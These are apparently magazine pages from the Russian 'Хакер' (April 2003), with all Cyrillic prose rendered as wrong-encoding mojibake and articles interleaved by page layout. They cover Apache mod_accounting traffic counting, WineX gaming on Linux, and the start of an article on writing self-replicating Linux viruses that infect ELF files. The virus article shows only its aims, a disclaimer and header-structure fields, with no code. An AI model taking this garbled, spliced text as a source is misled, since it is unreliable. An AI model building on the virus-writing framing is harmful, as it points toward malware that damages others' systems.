âíèìàíèå íà ôàéë schema.sql. Ýòî ñòðóêòóðà òàáëèöû<br />

ipaccounting, ñîñòîÿùàÿ èç ïîëåé bytesin, bytesout è<br />

host, õðàíÿùèõ â ñåáå çíà÷åíèÿ âõîäÿùèõ, èñõîäÿùèõ<br />

Ïðîñòåéøèé ïàðñèíã access_log<br />

Ïðàâèëüíàÿ ðàáîòà ìîäóëÿ<br />

áàéòîâ è âèðòóàë õîñò ñîîòâåòñòâåííî. Îòðåäàêòèðóé<br />

ýòîò ôàéë è âñòàâü òóäà íåîáõîäèìûå õîñòû. Çàòåì âûïîëíè<br />

ñëåäóþùóþ ïîñëåäîâàòåëüíîñòü äåéñòâèé:<br />

[root@tema mod_accounting]# mysql -uroot -<br />

pmypasswd<br />

mysql> create database ipaccounting;<br />

Query OK, 1 row affected (0.00 sec)<br />

mysql> \q<br />

Bye<br />

[root@tema mod_accounting]# mysql -uroot -<br />

pmypasswd ipaccounting < schema.sql<br />

Òåì ñàìûì òû ñîçäàøü íåîáõîäèìóþ òàáëèöó äëÿ ðàáîòû<br />

ìîäóëÿ. Çàòåì<br />

ðåäàêòèðóåì httpd.conf è äîáàâëÿåì òóäà ñëåäóþùèå<br />

äèðåêòèâû:<br />

AccountingQueryFmt «UPDATE ipaccounting SET<br />

bytesin = bytesin + %r, bytesout = bytesout + %s<br />

WHERE LOWER( host ) = LOWER( ‘%h’ )»<br />

AccountingDatabase ipaccounting<br />

AccountingDatabaseDriver mysql<br />

AccountingDBHost localhost 3306<br />

AccountingLoginInfo root mypasswd<br />

Ýòè äàííûå íåîáõîäèìî êîððåêòíî çàäàòü äëÿ óñïåøíîãî<br />

ñîåäèíåíèÿ ñ mysql.<br />

È ôèíàëüíûì øòðèõîì áóäåò êîìàíäà «apachectl<br />

restart». Åñëè âñå ðàáîòàåò êàê íàäî, ïîñåðôè õîñòû,<br />

çàíåñåííûå â áàçó, ÷òîáû îöåíèòü ðåçóëüòàò. À ðàáî-<br />

÷èé ðåçóëüòàò óâåí÷àåòñÿ ñëåäóþùèì îòâåòîì mysql:<br />

bytesin bytesout host<br />

2210 13393 irc.ural.org<br />

Ýòî îçíà÷àåò, ÷òî òû âñå ñäåëàë ïðàâèëüíî. Òåáå<br />

îñòàëîñü, îïÿòü æå, ñäåëàòü ñêðèïò äëÿ dump’à ðå-<br />

×ÒÎ ÄÅËÀÒÜ,<br />

ÅÑËÈ ÍÅ ÐÀÁÎÒÀÅÒ IPFW?<br />

 áîëüøèíñòâå ñëó÷àåâ ìîäóëü ôàåðâîëà<br />

ïðîñòî íå ïîäãðóæåí. Íî ïî äåôîëòó ôàåðâîë<br />

ñîáèðàåòñÿ ñ îïöèåé DEFAULT_TO_DENY, ýòî<br />

çíà÷èò, ÷òî, ïîäãðóçèâ åãî, òû ïîòåðÿåøü êîíòàêò<br />

ñ ñåðâåðîì, åñëè ñèäèøü íà íåì óäàëåííî.<br />

×òîáû ýòîãî íå ïðîèçîøëî, âûïîëíè êîìàíäó:<br />

kldload ipfw && ipfw add 65000 allow ip<br />

from any to any. À çàòåì ïåðåñîáåðè ÿäðî ñ îïöèåé<br />

IPFIREWALL, ÷òîáû ïîäãðóæàòü ìîäóëü íà<br />

óðîâíå çàãðóçêè ÿäðà. Âñå!<br />

çóëüòàòîâ ñòàòèñòèêè, à ýòî òû óæå äåëàë íåñêîëüêî<br />

ðàç =).<br />

Äëÿ âòîðîãî âàðèàíòà, à èìåííî ïàðñèíãà (íå ïóòàòü ñ<br />

ïèðñèíãîì :)) access_log’à àïà÷è ìîæíî èñïîëüçîâàòü<br />

îòäåëüíûé ñîôò, íàïðèìåð, ñîôòèíó httpdstats. Áðàòü<br />

îòñþäà: http://www.charvolant.org/~Edoug/httpdstats/<br />

httpdstats-0.2.2.tar.gz. Äëÿ ñáîðêè îñîáîãî óìà íå íàäî,<br />

êîíô òîæå îôîðìëÿåòñÿ çà 2 ìèíóòû. Ïîôèêñè îïöèþ<br />

ignore_domains, ÷òîáû íå çàòðàãèâàòü íåíóæíûå<br />

òåáå äîìåíû, à çàòåì ïîïðîáóé çàïóñòèòü òóëçó:<br />

[root@tema httpdstats-0.2.2]# httpdstats -host<br />

/usr/work/www/logs/access_log<br />

By Host Name Requests Bytes<br />

————————————————————————<br />

213.140.104.125 11 91.7% 67524 100.0%<br />

Âîò, ñîáñòâåííî, è ðåçóëüòàò ðàáîòû. Îáðàáîòàòü ýòè<br />

äàííûå ìîæíî îáû÷íûì perl-ñêðèïòîì. Íî åùå ðàç<br />

ïîâòîðþñü, ëó÷øå âñå-òàêè óñòàíîâèòü mod_accounting,<br />

îñîáåííî åñëè ïðîõîäÿùèé òðàôèê î÷åíü áîëüøîé<br />

(èç-çà áîëüøîãî ðàçìåðà ëîãà âíåøíèå ñîôòèíû áóäóò<br />

íåñêîëüêî òîðìîçíóòî èõ îáðàáàòûâàòü), äà è õðàíåíèå<br />

â sql ãîðàçäî óäîáíåå, ÷åì â ôàéëàõ. Íàëèöî è åùå<br />

îäèí ìèíóñ âíåøíèõ ïðîãðàìì: èõ íóæíî êàêèì-òî îáðàçîì<br />

îáðàáàòûâàòü cron’îì, òðàòÿ íà ýòî ëèøíåå âðåìÿ,<br />

â ìîäóëüíîì âàðèàíòå òàêîé ïðîáëåìû íåò.<br />

Òåïåðü, ÿ óâåðåí, ïîäñ÷åò òðàôèêà íå áóäåò äëÿ òåáÿ<br />

ãîëîâíîé áîëüþ. Ñàìîå ãëàâíîå - îöåíèòü ñèòóàöèþ è<br />

ïîíÿòü, êàêîé ìåòîä ïîäñ÷åòà èñïîëüçîâàòü. Çàòåì óñòàíîâèòü<br />

íóæíûé äëÿ ýòîãî ñîôò è íåêîòîðîå âðåìÿ<br />

åãî ïîòåñòèòü. Åñëè ðåçóëüòàò òåáÿ óñòðàèâàåò - ïèñàòü<br />

ñêðèïòû äëÿ îáðàáîòêè è ñîñòàâëÿòü ñâîþ áàçó äàííûõ.<br />

Íî, êîíå÷íî, ñàìîå ãëàâíîå - ýòî áûòü<br />

óâåðåííûì â ñâîèõ ñèëàõ, è ó òåáÿ âñå îáÿçàòåëüíî<br />

ïîëó÷èòñÿ!<br />

70 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì


ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />

Þíèêñîèä<br />

WINEX<br />

0vod ovod@crazy.ru<br />

Ïðîäîëæèì íà÷àòóþ íåäàâíî òåìó ïðî èãðû â<br />

Linux. Ïðåäûäóùàÿ ñòàòüÿ îáîáùèëà âñå òå<br />

ìåòîäû, êîòîðûå ïîçâîëÿþò ñäåëàòü èç Ïèíãâèíà<br />

ïîëíîöåííóþ èãðîâóþ ïëàòôîðìó. Â<br />

ýòîé ñòàòüå ìû ðàññìîòðèì íà ïðèìåðå ïîïóëÿðíûõ<br />

íûíå èãðóøåê – CS, Half-Life è, íàêîíåö,<br />

Warcraft 3, êàê èãðàòü â èãðû, òðåáóþùèå<br />

ïîääåðæêè DurectX, èñïîëüçóÿ WineX.<br />

Go! Íà÷í¸ì ñ ñàìîãî ãëàâíîãî: ïîä Linux'îì<br />

ìîæíî çàïóñêàòü Windows-ïðîãðàììû è èãðû<br />

â òîì ÷èñëå. Ñóùåñòâóåò áîëüøîå êîëè÷åñòâî<br />

ïðîãðàìì, ïîçâîëÿþùèõ ýòî ñäåëàòü. Ñêàæó<br />

ëèøü î íåñêîëüêèõ. VMWare - ìîùíàÿ ñèñòåìà<br />

âèðòóàëüíûõ ìàøèí: ýìóëèðóåòñÿ ñàì<br />

êîìïüþòåð, âíóòðè êîòîðîãî è çàïóñêàåòñÿ<br />

äðóãàÿ ÎÑ. Win4Lyn - òîæå ýìóëÿòîð âèðòóàëüíîãî<br />

êîìïüþòåðà, íî îí ñîçäàí è îïòèìèçèðîâàí<br />

ñïåöèàëüíî äëÿ çàïóñêà Windows â<br />

Linux. Ïðàâäà, âûøåïåðå÷èñëåííûå ïðîãðàììû<br />

èñïîëüçóþò äëÿ ýìóëÿöèè ñàì Windows,<br />

òàê ÷òî íóæíî èìåòü óñòàíîâëåííóþ îñü, äà è<br />

â èãðû íè ïîä VMWare, íè ïîä Win4Lyn âñå<br />

ðàâíî íå ïîèãðàåøü. WINE - ýòî íå ñîâñåì<br />

ýìóëÿòîð, òàê êàê îí íå òðåáóåò íèêàêèõ âèíäóøíûõ<br />

ôàéëîâ è ïðåäñòàâëÿåò ñîáîé ñàìîñòîÿòåëüíóþ<br />

ïðîãðàììó. À áëàãîäàðÿ ïðîåêòó<br />

WineX îò TransGaming îí ïîçâîëÿåò íàñëàäèòüñÿ<br />

èãðîé â DirectX-èãðû, ÷òî íàì è íàäî.<br />

Ïîäãîòîâêà<br />

Äëÿ íà÷àëà íóæíî ïðîâåðèòü ðàáîòîñïîñîáíîñòü OpenGL:<br />

$ glxinfo<br />

Óäåëè îñîáîå âíèìàíèå ñòðî÷êå: 'direct rendering: Yes',<br />

ýòî àïïàðàòíîå óñêîðåíèå, åñëè 'Yes' - îíî âêëþ÷åíî, åñëè<br />

'No' - áóäåò èñïîëüçîâàí òîëüêî ïðîãðàììíûé ðåíäåðèíã<br />

â ëþáîé èãðå. Åñëè àïïàðàòíîå óñêîðåíèå âêëþ÷åíî,<br />

òî îñòàâü, êàê åñòü. Åñëè æå îíî îòêëþ÷åíî, èëè òû<br />

ïðîñòî õî÷åøü ïîñòàâèòü ñâåæèå äðîâà ñ íîâîé âåðñèåé<br />

ðåàëèçàöèè OpenGL äëÿ âèäåîêàðòû – ÷èòàé äàëüøå. Äëÿ<br />

ñ÷àñòëèâûõ îáëàäàòåëåé XFree86 4.2.0 íàñòîÿòåëüíî ðåêîìåíäóþ<br />

ñäåëàòü ñèìâîëüíûé ëèíê ñ<br />

/usr/X11R6/include/GL íà /usr/include/GL. Äëÿ ýòîãî:<br />

$ cd /usr/X11R6/include/GL<br />

$ ln -s /usr/include/GL<br />

Òåïåðü íóæíî óáåäèòüñÿ, ÷òî â ýòîé ïàïêå ëåæàò glu_mangle.h,<br />

gl_mangle.h, glx.h, glext.h, glx_mangle.h, glu.h, glxext.h.<br />

Åñëè òâîÿ êàðòî÷êà îò nVidia, òî âîçüìè ñ<br />

www.nvidia.com ïîñëåäíèå äðàéâåðà: íóæíî ñêà÷àòü äâà<br />

ïàêåòà: NVIGIA_kernel (ìîäóëü äëÿ ÿäðà) è NVIDIA_GLX<br />

(OpenGL äëÿ êàðòî÷êè), ëó÷øå ñêà÷èâàòü èñõîäíèêè. Äëÿ<br />

ñáîðêè äðàéâåðîâ:<br />

$ cd /usr/src/NVIDIA_kernel-1.0-3123<br />

$ make && make install<br />

$ cd /usr/src/NVIDIA_GLX-1.0-3123<br />

$ make && make install<br />

Îñîáûõ ïðîáëåì ñ óñòàíîâêîé äðàéâåðîâ íå íàáëþäàëîñü.<br />

Ïðàâäà, ïðè óñòàíîâêå ñîáðàííîãî ìîäóëÿ äëÿ ÿäðà,<br />

WineX<br />

Ïðîäîëæàåì èãðàòü â Ëèíóêñå!<br />

îí áóäåò ïðèêðó÷åí ê ÿäðûøêó, êîòîðîå çàïóùåíî â äàííûé<br />

ìîìåíò, à ïðè çàãðóçêå äðóãîãî ÿäðà áóäåò ìèãàòü<br />

ýêðàí: èç-çà îòñóòñòâèÿ äðîâ äëÿ êàðòî÷êè. ×òîáû ýòî ïîôèêñèòü,<br />

íóæíî äîæäàòüñÿ ïîÿâëåíèÿ êîíñîëè è ñîáðàòü<br />

äðîâà óæå èç-ïîä íóæíîãî òåáå ÿäðà. Åñëè òû èìååøü<br />

êàðòî÷êó îò 3dfx, íàñòîÿòåëüíî ðåêîìåíäóþ êóïèòü íîâóþ<br />

âèäåîêàðòó :), åñëè òû õî÷åøü ÍÎÐÌÀËÜÍÎ èãðàòü â íîâûå<br />

èãðû. Õîòÿ âî ÷òî-òî òû åù¸ ïîèãðàåøü. Óñòàíîâè ïîñëåäíþþ<br />

âåðñèþ Glide ñ www.linux.3dfx.com. Äëÿ óñòàíîâêè<br />

openGL íóæíî ñîáðàòü Mesa - ýòî ñâîáîäíàÿ ðåàëèçàöèÿ<br />

openGL. Íà www.mesa3d.sourceforge.net ñêà÷àé ïîñëåäíèå<br />

âåðñèè èñõîäíèêîâ MesaLib è MesaDemos, äàëåå:<br />

$ tar -xvzf MesaLib-5.0.tar<br />

$ tar -xvzf MesaDemos-5.0.tar<br />

$ cd Mesa-5.0<br />

$ ./configure --without-svga --without-ggi<br />

$ make && make install<br />

Åñëè ó òåáÿ êàðòî÷êè äðóãèõ ïðîèçâîäèòåëåé, òî ñìîòðè<br />

íà www.dri.sourceforge.net íóæíîå èìåííî òåáå.<br />

Òåïåðü ïîðà ïîñìîòðåòü, ÷òî âûäà¸ò FPS:<br />

$ glxgears<br />

Óäèâëåí ðåçóëüòàòàìè? Åñëè íåò, òî âîçìîæíî ïðèäåòñÿ<br />

íåìíîãî ïîâîçèòüñÿ ñ ôàéëîì íàñòðîéêè èêñîâ<br />

(/etc/X11/XF86config-4).<br />

Ñîáèðàåì WINEX<br />

WineX - áèáëèîòåêè DirectX äëÿ WINE, à íå ñàìîñòîÿòåëüíàÿ<br />

ïðîãðàììà. Äðóãèìè ñëîâàìè, ñåé÷àñ ìû áóäåì<br />

ñîáèðàòü îáû÷íûé wine ñ áèáëèîòåêàìè directX. Ñíà÷àëà<br />

íóæíî âûêà÷àòü èñõîäíèêè èç CVS-ðåïîçèòîðèÿ:<br />

$ cd /usr/src<br />

$ su (åñëè íå root)<br />

$ cvs -<br />

d:pserver:anonymous@cvs.winex.sourceforge.net:/cvsroot/w<br />

inex login<br />

Íà çàïðîñ ââîäà ïàðîëÿ, æìåì ENTER è äàëåå íàáèðàåì<br />

ñëåäóþùóþ êîìàíäó:<br />

$ cvs -z3 -<br />

d:ext:developername@cvs.winex.sourceforge.net:/cvsroot/wi<br />

nex co<br />

wine<br />

Ïîñëå çàãðóçêè èñõîäíèêîâ ïðè îáíîâëåíèè âåðñèè<br />

WineX ñ ïîìîùüþ CVS ìîæåì ñäåëàòü ñèíõðîíèçàöèþ, è<br />

âóàëÿ - ó íàñ íîâàÿ âåðñèÿ áåç ëèøíèõ ïðîáëåì. Ïîäðîáíåå<br />

î CVS ìîæíî ïðî÷èòàòü â Õ çà 08.02 (44), ñòàòüÿ 'Õàêåðû<br />

âûáèðàþò CVS'.<br />

Òåïåðü â êàòàëîãå, ãäå ëåæèò ïîñëåäíÿÿ âåðñèÿ wine, âûïîëíÿåì:<br />

$ ./configure --with-x --enable-opengl --without-trace -without-debug<br />

Óäåëè âíèìàíèå ñòðîêàì:<br />

checking GL/gl.h usability... yes<br />

checking GL/gl.h presence... yes<br />

checking for GL/gl.h... yes<br />

checking GL/glx.h usability... yes<br />

checking GL/glx.h presence... yes<br />

checking for GL/glx.h... yes<br />

checking for GL/glext.h... yes<br />

Åñëè âñ¸ OK, îñòàëîñü òîëüêî ñêîìïèëèðîâàòü:<br />

$ make depend && make<br />

1 2 3 4<br />

72 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ïîçäðàâëÿþ! Âñ¸ óæå ïðàêòè÷åñêè ãîòîâî ê ðàáîòå, îñòàëîñü<br />

òîëüêî ïðîèíñòàëëèðîâàòü è íàñòðîèòü. Èòàê, äëÿ<br />

óñòàíîâêè â êàòàëîãå wine íàáåðè:<br />

$ ./tools/wineinstall<br />

Çàòåì, îòâåòèâ íà íåñëîæíûå âîïðîñû, òû ñìîæåøü îáíàðóæèòü<br />

â êîðíåâîé äèðåêòîðèè ïàïêó 'c' - íàø ïñåâäîäèñê<br />

ñ:\... âíóòðè åùå ñìåøíåå: ïàïêè Windows è<br />

Programs Files ;). Òàêæå ìîæíî ïðîâåðèòü ðàáîòîñïîñîáíîñòü<br />

wine â ïðîöåíòàõ:<br />

$ ./tools/winecheck<br />

Ïðàâäà, îñîáî äîâåðÿòü ðåçóëüòàòó íå ñòîèò, îí ðàçâå<br />

÷òî ïîìîæåò íàéòè êîíôëèêòû, íàïðèìåð, ó ìåíÿ ïîëó÷èëîñü<br />

72,25%, íî, òåì íå ìåíåå, âñå íèæåîïèñàííûå èãðû<br />

ðàáîòàþò... Â òâîåì äîìàøíåì êàòàëîãå åñòü ñêðûòàÿ<br />

ïàïêà '.wine', â êîòîðîé ëåæèò ôàéë config, òàì ñîäåðæàòñÿ<br />

íàñòðîéêè, ñ êîòîðûìè òîæå ïðèä¸òñÿ ïîðàáîòàòü.<br />

Ïðåæäå âñåãî, íóæíî ïðîâåðèòü, ÷òî â ñåêöèè [x11drv]<br />

óñòàíîâëåí "DesktopDoubleBuffered" =<br />

"Y".<br />

Âïîëíå âîçìîæíî, âñå ðóññêèå áóêâû áóäóò îòîáðàæàòüñÿ<br />

àáðîé-êàäàáðîé, äëÿ èñïðàâëåíèÿ äàííîãî áàãà íóæíî<br />

'default cyrillic bitmap X fonts' â òîì æå<br />

ôàéëå êîíôèãóðàöèè èçìåíèòü. Áûëî:<br />

"Default" = "-cronyx-helvetica-";<br />

"DefaultFixed" = "fixed";<br />

"DefaultSerif" = "-cronyx-times-";<br />

"DefaultSansSerif" = "-cronyx-helvetica-";<br />

Ñòàëî:<br />

"Default" = "-adobe-helvetica-";<br />

"DefaultFixed" = "fixed";<br />

"DefaultSerif" = "-adobe-times-";<br />

"DefaultSansSerif" = "-adobe-helvetica-";<br />

 äàëüíåéøåì ïðîãðàììû ñ ïîìîùüþ wine ïðèä¸òñÿ çàïóñêàòü<br />

íå òîëüêî ïîä îáû÷íûì ïîëüçîâàòåëåì, íî è ïîä<br />

root’îì. Ïðèìè âî âíèìàíèå, ÷òî â /root/.wine òîæå ëåæèò<br />

ôàéë config, êîòîðûé òîæå íóæíî èçìåíèòü. Â ðàçäåëå<br />

‘support’ ñàéòà www.winehq.org åñòü âñå, íà òîò<br />

ñëó÷àé, åñëè ó òåáÿ âîçíèêëè êàêèå-ëèáî ïðîáëåìû.<br />

Ëè÷íî ó ìåíÿ äèñòðèáóòèâ ASP Linux 7.3 'Âîñòîê' (îñíîâàí<br />

íà RedHat), â êîòîðîì èñïîëüçóåòñÿ ÿäðûøêî 2.4.18-<br />

5asp, ãäå åñòü security patch, è êàê îêàçàëîñü, wine ñ íèìè<br />

íå ðàáîòàåò :(. Åäèíñòâåííàÿ âîçìîæíîñòü ïîèãðàòü<br />

äëÿ ìåíÿ çàêëþ÷àëàñü â ïåðåñîáèðàíèè ÿäðà, ñ ÷åì ÿ<br />

óñïåøíî ñïðàâèëñÿ, íî ýòî ñîâñåì äðóãàÿ èñòîðèÿ...<br />

Èãðàåì â Half-Life è CS<br />

Ëèíê:<br />

http://www.transgaming.com/gamepage.php?gameid=1<br />

Ïðè âîçíèêíîâåíèè ïðîáëåì ñî çâóêîì/êàðòèíêîé/ñàìèì_wine<br />

ðåêîìåíäóþ îçíàêîìèòüñÿ ñ howto íà<br />

http://lhl.linuxgames.com. Ñòàðûé äîáðûé õàëô:<br />

$ cd /mnt/cdrom<br />

$ wine setup.exe<br />

Ïîñëå óñòàíîâêè íà ïñåâäîäèñê ñ:<br />

$ cd /c/Half-Life<br />

$ wine hl.exe -- hl.exe -console -gl -gldrv Default -w 1024<br />

À äëÿ ñòàðòà CS:<br />

$ wine hl.exe -- hl.exe -console -game cstrike -gl -gldrv<br />

Default -w 1024<br />

Ñòàðûé äîáðûé HalfLife…<br />

Çàïóñêàòü HL æåëàòåëüíî ïîä ðóòîì, èíà÷å áóäåò<br />

áåçáîæíî âûëåòàòü ïðè íàäïèñè "Loading...", íî äëÿ<br />

íàñ íåò íè÷åãî íåâîçìîæíîãî: äëÿ òîãî, ÷òîáû èãðàòü<br />

ñ ïðàâàìè îáû÷íîãî ïîëüçîâàòåëÿ, èçìåíè<br />

ïðàâà íà êàòàëîã Half-Life òàê, ÷òîáû äðóãèå ïîëüçîâàòåëè<br />

ìîãëè èçìåíÿòü ñïèñîê ôàéëîâ, è ïîñòàâü<br />

ãàëî÷êó "Ïðèìåíèòü èçìåíåíèÿ êî âñåì ïîäêàòàëîãàì<br />

è èõ ñîäåðæèìîìó". Âïîëíå âîçìîæíî, ïðè<br />

ñòàðòå èãðû òåáÿ ïîïðîñÿò ïåðåéòè â 16-áèòíûé<br />

öâåò, äëÿ ýòîãî îòðåäàêòèðóé ôàéëèê<br />

/etc/X11/XF86config-4 è èçìåíè ñåêöèþ screen â ñîîòâåòñòâèè<br />

ñ íóæíûìè ïàðàìåòðàìè, ïîñëå ÷åãî<br />

ñïîêîéíî ïåðåçàãðóçè èêñû. Î÷åíü çàáàâíûé ãëþê<br />

ìîæíî íàáëþäàòü ñ ìåíþ: îíî óæàñíî òîðìîçèò,<br />

ò.å. ìåæäó íàæàòèåì íà 'New Game' è ïîÿâëåíèåì<br />

ñàìîãî ìåíþ ñ âûáîðîì óðîâíÿ ñëîæíîñòè âèñíåò<br />

ïàóçà ïðîäîëæèòåëüíîñòüþ 3-5 ñåêóíä, íî ñàìà èãðà<br />

íå òîðìîçèò, ÷òî íå ìîæåò íå ðàäîâàòü.<br />

Èãðàåì â Max Payne<br />

Ëèíê:<br />

http://www.transgaming.com/gamepage.php?gameid=29<br />

Íà ñàéòå TransGaming ýòî åäèíñòâåííàÿ (íàäåþñü, ïîêà)<br />

èãðà, êîòîðàÿ ïîääåðæèâàåòñÿ íà 5 áàëëîâ, âñå ðàáîòàåò<br />

áåç îñîáûõ ïðîáëåì.<br />

$ cd /mnt/cdrom<br />

$ wine setup.exe<br />

$ cd /c/MAXPAYNE/<br />

$ wine MaxPayne.exe<br />

Äÿäÿ Ìàêñ âûõîäèò íà òðîïó âîéíû<br />

Çàïóñêàòü, ïîäîáíî õàëâå, òüôó òû, Õàëôå, íóæíî ñ ïðàâàìè<br />

ñóïåðïîëüçîâàòåëÿ èëè èçìåíèòü ïðàâà íà çàïèñü â êàòàëîã,<br />

èíà÷å èãðà íå áóäåò ñýéâèòüñÿ (èç-çà îòñóòñòâèÿ ïðàâ). Ïðè<br />

âîçíèêíîâåíèè ïðîáëåì, ïðåæäå ÷åì ìó÷èòü âñåâîçìîæíûå<br />

ôîðóìû, óáåäèñü, ÷òî ó òåáÿ óñòàíîâëåí ïîñëåäíèé ïàò÷ ê<br />

<br />

èãðå (ñì. ññûëêè âî âðåçêå). Åñòü âåðîÿòíîñòü, ÷òî èãðà áóäåò<br />

âûëåòàòü ïðè çàãðóçêå óðîâíÿ, äëÿ óñòðàíåíèÿ ýòîãî<br />

íóæíî ñòàðòîâàòü Ìàêñà ñëåäóþùèì îáðàçîì:<br />

$ wine MaxPayne.exe -- -disable3dpreloads<br />

Âñ¸ ðàáîòàåò, ïðîâåðåíî ïðàêòèêîé.<br />

Èãðàåì â WarCraft III<br />

Ëèíê:<br />

http://www.transgaming.com/gamepage.php?gameid=556<br />

Îïðîâåðãíåì ãíóñíûå çàÿâëåíèÿ, ÷òî âñå êóëüòîâûå ïîñëåäíèå<br />

èãðû èäóò òîëüêî ïîä âèíäàìè, íà ïðèìåðå<br />

Warcraft’a:<br />

$ cd /mnt/cdrom<br />

$ wine -winver win98 install.exe<br />

Ïðè èíñòàëëÿöèè ïðîïóñòè óñòàíîâêó DirectX, ïîñëå íåå â êàòàëîãå<br />

W3 ïåðåèìåíóé ïàïêó Movies âî ÷òî-íèáóäü äðóãîå:<br />

$ mv Movies bak.Movies<br />

Êñòàòè, ýòî îáû÷íûé DivX, êîòîðûé çàìå÷àòåëüíî ïðîñìàòðèâàåòñÿ<br />

mplayer'îì. Äëÿ çàïóñêà íàáèðàåì:<br />

$ wine War3.exe -- War3.exe –opengl<br />

Íè÷óòü íå õóæå, ÷åì ïîä Windows<br />

Âñå, ñåãîäíÿ òû õîðîøî ïîòðóäèëñÿ, òåïåðü íåìíîãî ðàññëàáüñÿ<br />

è ïîèãðàé. Ìû ðåàëüíî âñåì äîêàçàëè, ÷òî ìîæíî<br />

ïîëó÷àòü óäîâîëüñòâèå (à íå òîëüêî ãèìîð) è â Ëèíóêñå,<br />

èãðàÿ â ñàìûå ïîñëåäíèå èãðû, êîòîðûå, ïî ìíåíèþ<br />

áîëüøèíñòâà, èäóò òîëüêî ïîä Windows. È â ýòîì íàì ïîìîã<br />

WineX, çà ÷òî åìó îãðîìíàÿ áëàãîäàðíîñòü! Êîíå÷íî,<br />

Linux – äàëåêî íå êîíêóðåíò ïðîäóêöèè “Ìàéêðîñîôòà”<br />

ïî êîëè÷åñòâó èãð. Ïîêà. Âñå åùå âïåðåäè.<br />

Ññûëêè:<br />

http://www.3drealms.com/max/downloads.html<br />

- ïàò÷ äëÿ Max Payne<br />

http://dri.sourceforge.net<br />

http://transgaming.com<br />

http://winehq.org<br />

http://linux3d.net<br />

http://linuxgames.com<br />

http://happypenguin.org/<br />

5 6 7 8 9<br />

Þíèêñîèä X-Ñòèëü Êîäèíã Þíèòû Quit> 73


Êîäèíã<br />

ÑÀÌÎÐÀÑÏÐÎÑÒÐÀÍßÞÙÈÅÑß ÔÀÉËÛ ÏÎÄ LINUX<br />

saparmurat<br />

Ñàìîðàñïðîñòðàíÿþùèåñÿ<br />

ïîäLinux<br />

Îïðåäåëåíèé âèðóñó äàíî ìíîãî, â îäíîì ñëó÷àå ýòî "æèâîé ñàìîðàñïðîñòðàíÿþùèéñÿ<br />

ìåõàíèçì", â äðóãîì - ÷óòü ëè íå èñêóññòâåííûé èíòåëëåêò, à â òðåòüåì âîîáùå ñòèõèéíîå<br />

áåäñòâèå. Â îáùåì, êîìó ÷òî íðàâèòñÿ. Íî êàê åãî íè íàçîâè, ýòî ïðîñòî ÏÐÎ-<br />

ÃÐÀÌÌÀ, îáëàäàþùàÿ òåìè èëè èíûìè âîçìîæíîñòÿìè, è îñíîâíîé åå çàäà÷åé ÿâëÿåòñÿ<br />

âíåäðåíèå ñîáñòâåííîãî êîäà â òåëî äðóãîé ïðîãðàììû-æåðòâû ñ öåëüþ "âûæèâàíèÿ"<br />

(ðåæå - äåñòðóêöèè).<br />

Ïðåæäå ÷åì ïðîäîëæèòü, õî÷ó ïðåäóïðåäèòü, ÷òî âñå íèæåñêàçàííîå ïóáëèêóåòñÿ ëèøü<br />

â îáðàçîâàòåëüíûõ öåëÿõ è íè â êîåì ñëó÷àå íå ÿâëÿåòñÿ àãèòàöèåé èëè ïîñîáèåì ïî<br />

íàïèñàíèþ âèðóñîâ. Ïîìíè, ñîçäàíèå è ðàñïðîñòðàíåíèå âèðóñîâ óãîëîâíî íàêàçóåìî!<br />

×èòàé ÓÊ ÐÔ!<br />

Öåëè<br />

Äëÿ ÷åãî âîîáùå ïèøóòñÿ âèðóñû? Öåëü ó êàæäîãî ñâîÿ, íî âîò ÷åòûðå ñàìûõ ðàñïðîñòðàíåííûõ:<br />

1. Ïîêàçàòü îêðóæàþùèì íàëè÷èå êëàññíûõ çíàíèé.<br />

2. Äëÿ ñîáñòâåííîãî ñàìîîáðàçîâàíèÿ. Âèðóñíûå òåõíîëîãèè - î÷åíü èíòåðåñíàÿ îáëàñòü<br />

â ïëàíå òåîðèè/ðåàëèçàöèè.<br />

3. Íàíåñòè êàêîé-òî óùåðá, ñîçäàòü ýïèäåìèþ (áîëåå àêòóàëüíî äëÿ ñòàðåíüêèõ âèðóñîâ,<br />

íûíå ýïèäåìèè ñîçäàþò ÷åðâè).<br />

4. Ïðîâåðèòü, íàñêîëüêî æèâó÷ âèðóñ - îáû÷íûé èíòåðåñ.<br />

Ê ñîæàëåíèþ, ñîçäàâàÿ âèðóñû, áîëüøèíñòâî ëþäåé ïðåñëåäóþò äóðíûå öåëè. Âåäü<br />

ðàçðóøàòü - íå ñòðîèòü... ×èòàòü æå î òîì, êàê ñîçäàòü íåáîëüøîé âèðóñ ïîä Win/Dos<br />

ìàëî êîìó èíòåðåñíî, èáî ðàçëè÷íûõ äîêóìåíòîâ íàâàëîì, à âîò ïðî Unix (â ÷àñòíîñòè<br />

Linux) ïðàêòè÷åñêè íè÷åãî íå ñêàçàíî.<br />

Òåîðèÿ<br />

 ýòîì ìàòåðèàëå áóäåò ïðåäñòàâëåí ïðèìåð "æèâîãî ñàìîðàñïðîñòðàíÿþùåãî ìåõàíèçìà"<br />

ïîä Linux, è çà îñíîâíîé ÿçûê ïðîãðàììèðîâàíèÿ âçÿò C. Çíàíèé Ñ ïîòðåáóåòñÿ<br />

ñîâñåì íåìíîãî, à âäîáàâîê áóäåò ïîêàçàí ïðèìåð ðàáîòû ñ ELF-çàãîëîâêîì. Äëÿ ýòîãî<br />

èñïîëüçóåòñÿ elf.h õåäåð.  íåì îïðåäåëåíû ðàçëè÷íûå ñòðóêòóðû äëÿ ðàáîòû ñ ELFôàéëàìè,<br />

íî ðåàëüíî áóäåò èñïîëüçîâàíà òîëüêî îäíà - Elf32_Ehdr. Åå îáúÿâëåíèå ïðîèñõîäèò<br />

òàê: Elf32_Ehdr ehdr;<br />

Âîò íåñêîëüêî ýëåìåíòîâ ýòîé ñòðóêòóðû:<br />

ehdr.e_version - âåðñèÿ ELF-ôàéëà (÷àùå âñåãî 1 - current)<br />

ehdr.e_entry - òî÷êà âõîäà<br />

ehdr.e_type - òèï ELF-ôàéëà: èñïîëíÿåìûé, îáúåêòíûé ôàéë, êîðêà èëè äðóãîé<br />

ôàéëû<br />

Îïðåäåëåíèé âèðóñó äàíî ìíîãî, â îäíîì ñëó÷àå ýòî "æèâîé ñàìîðàñïðîñòðàíÿþùèéñÿ ìåõàíèçì",<br />

â äðóãîì - ÷óòü ëè íå èñêóññòâåííûé èíòåëëåêò, à â òðåòüåì âîîáùå ñòèõèéíîå áåäñòâèå.<br />

